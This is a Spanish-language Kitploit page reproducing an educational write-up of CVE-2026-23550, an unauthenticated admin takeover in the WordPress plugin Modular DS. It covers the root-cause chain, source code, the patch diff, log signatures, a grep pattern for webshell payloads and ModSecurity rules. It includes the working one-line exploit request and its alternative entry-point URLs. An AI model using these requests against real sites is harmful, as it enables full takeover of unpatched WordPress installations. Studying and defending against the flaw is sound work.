Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-23550 — Write-up educativo y PoC para CVE-2026-23550, una toma crítica de sesión de administrador no autenticada en el plugin Modular DS de WordPress. Incluye análisis de causa raíz, recorrido del código fuente, diff del parche y guía de detección. | Kitploit
Herramientas/GitHubGitHub/1beelze/cve-2026-23550
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHub1beelze/cve-2026-23550

CVE-2026-23550

Write-up educativo y PoC para CVE-2026-23550, una toma crítica de sesión de administrador no autenticada en el plugin Modular DS de WordPress. Incluye análisis de causa raíz, recorrido del código fuente, diff del parche y guía de detección.

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
root@kitploit:~
   ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗  ██████╗    ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
  ██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██╔════╝    ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
  ██║     ██║   ██║█████╗       █████╔╝██║██╔██║ █████╔╝███████╗     █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
  ██║     ╚██╗ ██╔╝██╔══╝      ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗    ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
  ╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗╚██████╔╝    ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
   ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝     ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝

CVE-2026-23550

Modular DS · Toma de Control de Sesión de Administrador No Autenticado

CVSS Type Auth Vector Status Patched

Análisis de Causa Raíz · Recorrido del Código Fuente · Diferencia del Parche · PoC Educativo

Por: Beelze ( zeroday 1diot9 )


📌 Resumen Rápido

Modular DS (modular-connector) es un plugin de WordPress para la gestión de sitios con más de 40.000 instalaciones activas. Las versiones ≤ 2.5.1 contienen una cadena de cinco defectos que se combinan para permitir que cualquier atacante no autenticado omita la autenticación, invoque el endpoint interno de inicio de sesión del plugin y reciba una cookie de sesión wordpress_logged_in_* para la primera cuenta de administrador — con una única petición HTTP GET.

root@kitploit:~
GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: victim.tld

→  HTTP/1.1 302 Found
   Location: /wp-admin/index.php
   Set-Cookie: wordpress_logged_in_<hash>=...

Resultado: control total de administrador. El atacante puede instalar plugins maliciosos, colocar webshells, crear cuentas de administrador de respaldo, extraer la base de datos.


📖 Tabla de Contenidos

  • Versiones Afectadas
  • Superficie de Ataque
  • Análisis de Causa Raíz
  • Recorrido del Código Fuente
  • Diferencia del Parche (2.5.1 → 2.5.2)
  • Prueba de Concepto
  • Detección y Mitigación
  • Cronología
  • Referencias
  • Descargo de Responsabilidad

🎯 Versiones Afectadas


🎯 Superficie de Ataque

La vulnerabilidad activa un enrutador personalizado derivado de Laravel integrado en el plugin. El plugin incluye su propio kernel HTTP (Ares/Framework) que se engancha a la acción parse_request de WordPress para secuestrar las peticiones antes de que el propio enrutamiento de WordPress tome el control.

Requisitos previos: ninguno (plugin instalado y activo, conectado a Modular SaaS — predeterminado para todas las instalaciones activas).

Puntos de entrada (cualquier uno es suficiente):

root@kitploit:~
/api/modular-connector/login/<cualquiera>?origin=mo&type=<cualquiera>
/?rest_route=/api/modular-connector/login/<cualquiera>&origin=mo&type=<cualquiera>
/index.php?rest_route=/api/modular-connector/login/<cualquiera>&origin=mo&type=<cualquiera>
/wp-load.php?origin=mo&type=<cualquiera>

🚩 Análisis de Causa Raíz

La vulnerabilidad no es un único fallo, sino una cadena de cinco defectos que se combinan. Cada capa, vista de forma aislada, puede parecer defendible; combinadas, colapsan en una toma de control de administrador pre-autenticación.

root@kitploit:~
flowchart TB
    A["🌐 Petición del Atacante<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>La puerta se abre solo con parámetros de consulta"]
    B --> C["② Router::findRoute()<br/>La URL se resuelve implícitamente a ruta /login"]
    C --> D["③ Filtro bindOldRoutes()<br/>Falla en type desconocido"]
    D --> E["④ ModularGuard::check()<br/>Valida OAuth del servidor, NO de la petición"]
    E --> F["⑤ AuthController::getLogin()<br/>Recae en el primer usuario administrador"]
    F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>Atacante = Administrador"]

    style A fill:#ff4444,stroke:#000,color:#fff
    style G fill:#00cc44,stroke:#000,color:#fff
    style B fill:#ff8888,stroke:#000
    style C fill:#ffaa66,stroke:#000
    style D fill:#ffcc44,stroke:#000
    style E fill:#ff8888,stroke:#000
    style F fill:#ff4444,stroke:#000,color:#fff

📋 Resumen de Defectos


🔬 Recorrido del Código Fuente

① Puerta de Arranque — HttpUtils::isDirectRequest()

Archivo: vendor/ares/framework/src/Foundation/Http/HttpUtils.php:64

root@kitploit:~
public static function isDirectRequest(): bool
{
    $request = app('request');
    $userAgent = $request->header('User-Agent');
    $userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
    $originQuery = $request->has('origin') && $request->get('origin') === 'mo';
    $isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');

    if ($isFromQuery) {
        return true;   // ⚠️ solo parámetro de consulta, sin firma
    }
    return false;
}

Problema: El modo de "petición directa" — destinado a identificar llamadas legítimas del backend de Modular SaaS — está protegido por parámetros de consulta en texto plano sin HMAC, JWT, nonce firmado ni lista blanca de IPs. Cualquier atacante puede activar este interruptor.

② Resolución Implícita URL→Ruta — Router::findRoute()

Archivo: vendor/ares/framework/src/Foundation/Routing/Router.php:20

root@kitploit:~
protected function findRoute($request)
{
    $this->current = $route = apply_filters(
        'ares/routes/match',
        $this->routes->match($request),   // ⚠️ URL resuelta a ruta ANTES de que se ejecute el filtro
        true
    );
    $route->setContainer($this->container);
    $this->container->instance(Route::class, $route);
    return $route;
}

Problema: El routes->match($request) de Laravel resuelve /api/modular-connector/login/xxx en la ruta login (protegida por autenticación) antes de que el filtro de seguridad se ejecute. El filtro recibe esta ruta como entrada, lo que le da la carga de demostrar que la ruta es ilegítima en lugar de autorizarla explícitamente.

③ Filtro de Recurrencia — bindOldRoutes()

Archivo: src/app/Providers/RouteServiceProvider.php:46

root@kitploit:~
public function bindOldRoutes($route, $removeQuery = false)
{
    if (!HttpUtils::isDirectRequest()) return $route;

    $request = request();
    $type = $request->header('x-mo-type', $request->get('type'));

    if ($type === 'request') { /* reenlace mediante llamada OAuth firmada */ }
    if ($type === 'oauth')   { /* reenlace al manejador /oauth */ }
    if ($type === 'lb')      { /* reenlace a /schedule/run */ }

    return $route;   // ⚠️ Tipo desconocido → la ruta de la URL permanece igual
}

Problema: El filtro solo anula la ruta cuando type es uno de tres valores conocidos. Cuando type es arbitrario (x, foo, vacío), pasa sin cambios y devuelve la ruta resuelta por URL sin modificar. La ruta impulsada por URL login — que en teoría estaba protegida por autenticación — procede a la evaluación de middleware.

④ Guardia Rota — ModularGuard::check()

Archivo: vendor/ares/framework/src/Foundation/Auth/ModularGuard.php:16

root@kitploit:~
public function check()
{
    return !is_null($this->user());
}

public function user()
{
    $client = OauthClient::getClient();
    try {
        $client->validateOrRenewAccessToken();   // ⚠️ verifica el estado del SERVIDOR
        $this->user = ['id' => $client->getClientId()];
    } catch (\Throwable $e) {
        return null;
    }
    return $this->user;
}

Problema: La guardia personalizada modular realiza cero verificación de la identidad de la petición entrante. Solo verifica que el propio plugin aún tenga una sesión OAuth válida con Modular SaaS. Dado que prácticamente todas las instalaciones están conectadas (de lo contrario, el plugin es inútil), la guardia devuelve true para cualquier petición que llegue a ella.

Este es el defecto fundamental. Incluso si los defectos ①–③ se solucionaran, esta guardia rota por sí sola aún permitiría el acceso no autorizado a todas las rutas del grupo de middleware auth.

⑤ Recurso de Administrador — AuthController::getLogin()

Archivo: src/app/Http/Controllers/AuthController.php:66

root@kitploit:~
public function getLogin(SiteRequest $modularRequest)
{
    $user = data_get($modularRequest->body, 'id');   // null — el enlace nunca se pobló

    if (!empty($user)) {
        $user = get_user_by('id', $user);
    }

    if (empty($user)) {
        Cache::driver('wordpress')->forget('user.login');
        $user = ServerSetup::getAdminUser();   // 💣 primer administrador del sitio
    }

    $cookies = ServerSetup::loginAs($user, true);   // 💣 emite cookie de sesión de WP
    return Response::redirectTo(admin_url('index.php'))->withCookies($cookies);
}

Problema: El enlace modelo-ruta SiteRequest solo se puebla cuando type === 'request' en la cadena de filtros. Para type desconocido, $modularRequest llega al controlador como un objeto vacío. El controlador entonces recurre silenciosamente al primer usuario administrador y emite una cookie de inicio de sesión de WordPress. Cualquiera puede entrar por la puerta principal.


🩹 Diferencia del Parche (2.5.1 → 2.5.2)

root@kitploit:~
━━━ vendor/ares/framework/src/Foundation/Routing/Router.php ━━━
- $route = apply_filters('ares/routes/match', $this->routes->match($request), true);
+ $route = apply_filters('ares/routes/match', true);

━━━ src/app/Providers/RouteServiceProvider.php ━━━
- public function bindOldRoutes($route, $removeQuery = false)
- {
-     if (!HttpUtils::isDirectRequest()) return $route;
+ public function bindOldRoutes($removeQuery = false)
+ {
+     $routes = app('router')->getRoutes();
+     $route = $routes->getByName('default');   // 👈 siempre empezar desde una ruta 404
+     $route->bind(request());
+     if (!HttpUtils::isDirectRequest()) return $route;

━━━ src/routes/api.php ━━━
+ Route::get('default/{request}', function () {
+     abort(404);
+ })->name('default');

🔑 Filosofía del Parche

La corrección elimina la resolución implícita URL→ruta por completo. El filtro ahora comienza con una ruta default fijada a abort(404) y solo se reenlaza a un controlador real cuando type es uno de los tres valores explícitamente permitidos. Con la nueva lógica, type=x produce un 404 — la petición nunca llega al controlador de inicio de sesión, y no hay nada contra lo que la guardia rota pueda fallar abiertamente.

Esto es defensa en profundidad aplicada retroactivamente: aunque ModularGuard::check() sigue siendo estructuralmente débil, la cadena de accesibilidad hacia ella ahora está cerrada para las rutas protegidas por autenticación.


🛠️ Prueba de Concepto


🛡️ Detección y Mitigación

Inmediato

  • Actualizar a modular-connector >= 2.5.2 — no negociable.
  • Si la actualización está bloqueada, desactivar el plugin por completo. No hay solución de configuración alternativa.

Evaluación de Compromiso

Después de la actualización, asumir compromiso si el plugin era ≤ 2.5.1 y estaba expuesto a Internet desde el 2026-01-13. Verificar lo siguiente:

root@kitploit:~
# 1. Cuentas de administrador no autorizadas
wp user list --role=administrator --fields=ID,user_login,user_email,user_registered

# 2. Instalaciones de plugins sospechosas posteriores al 2026-01-13
find wp-content/plugins/ -type d -newer /tmp/marker-jan13

# 3. Archivos del núcleo modificados recientemente
find wp-includes/ wp-admin/ -type f -mtime -30

# 4. Webshells (cargas útiles comunes colocadas después de la explotación)
grep -rEn '(eval\(base64_decode|assert\(\$_|passthru\(\$_|preg_replace.*/e)' wp-content/

Firmas del servidor web (registros Apache / Nginx)

root@kitploit:~
GET /api/modular-connector/login/[^\s]+\?origin=mo&type=[^\s]+
GET /?rest_route=/api/modular-connector/login[^\s]+origin=mo

Regla WAF / ModSecurity (mitigación temporal)

root@kitploit:~
SecRule REQUEST_URI "@rx /api/modular-connector/login" \
  "id:2026023550,phase:1,deny,status:403,log,\
   msg:'CVE-2026-23550 intento de explotación (Modular DS)'"

SecRule ARGS:origin "@streq mo" \
  "chain,id:2026023551,phase:1,deny,status:403,log,\
   msg:'CVE-2026-23550 intento de omisión de petición directa'"
  SecRule ARGS:type "@rx .+"

📅 Cronología


📚 Referencias

  • Patchstack Advisory
  • The Hacker News — Critical WordPress Modular DS
  • BleepingComputer — Active Exploitation Report
  • Security Affairs — Admin Takeover Analysis
  • eSecurity Planet — 40K Installs at Risk
  • Rescana — Incident Response Notes
  • WordPress Plugin Repository — modular-connector

👤 Autor

Beelze · zeroday 1diot9

Investigador Avanzado de CVE · Analista de Vulnerabilidades · Constructor de PoC


⚖️ Descargo de Responsabilidad

Este repositorio se publica estrictamente con fines educativos y de investigación defensiva.

La vulnerabilidad está divulgada públicamente (CVE-2026-23550), parcheada por el proveedor (modular-connector 2.5.2), y detallada en la prensa de seguridad convencional. Este artículo existe para ayudar a los defensores a comprender la causa raíz, a los desarrolladores a aprender de un fallo de diseño de autenticación del mundo real, y a los investigadores a estudiar un patrón de defectos encadenados.

No ejecute los scripts de PoC incluidos contra sistemas que no posea o para los que no tenga autorización explícita por escrito para realizar pruebas. El acceso no autorizado a sistemas informáticos es ilegal en prácticamente todas las jurisdicciones (CFAA · Computer Misuse Act · ITE Law · etc.).

El autor no acepta ninguna responsabilidad por el mal uso. Si no está seguro de si su caso de uso está autorizado, no lo está.


Hecho con 🎯 para la comunidad de investigación en seguridad.

⭐ Dale una estrella a este repo si te ayudó a aprender algo.

Descargar herramienta
CampoValor
Nombre del PluginModular DS
Slugmodular-connector
Vulnerable<= 2.5.1
Parcheado2.5.2
Instalaciones Activas~40.000
CVSS v3.110.0 / CRÍTICO (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
CWECWE-287 · CWE-306 · CWE-863
OWASPA07 — Fallos de Identificación y Autenticación
#CapaArchivoProblema Raíz
①Puerta de arranqueHttpUtils.php:64Verificación solo de consulta origin=mo sin criptografía/nonce
②Coincidencia URL→rutaRouter.php:20Resolución implícita de URL pasada directamente al filtro
③Filtro de anulación de rutaRouteServiceProvider.php:46type desconocido pasa sin cambios con la ruta original intacta
④Guardia de autenticaciónModularGuard.php:16Valida el estado OAuth del servidor, no la identidad de la petición
⑤Controlador de inicio de sesiónAuthController.php:66Recurso silencioso a getAdminUser() cuando faltan datos
FechaEvento
2026-01-XXEl proveedor publica 2.5.2 con una corrección de seguridad silenciosa
2026-01-13 ~02:00 UTCPrimera explotación observada en la naturaleza
2026-01-13Patchstack publica el aviso · Se asigna CVE-2026-23550
2026-01-14Cobertura en The Hacker News, BleepingComputer, Security Affairs
2026-07-05Se publica este artículo educativo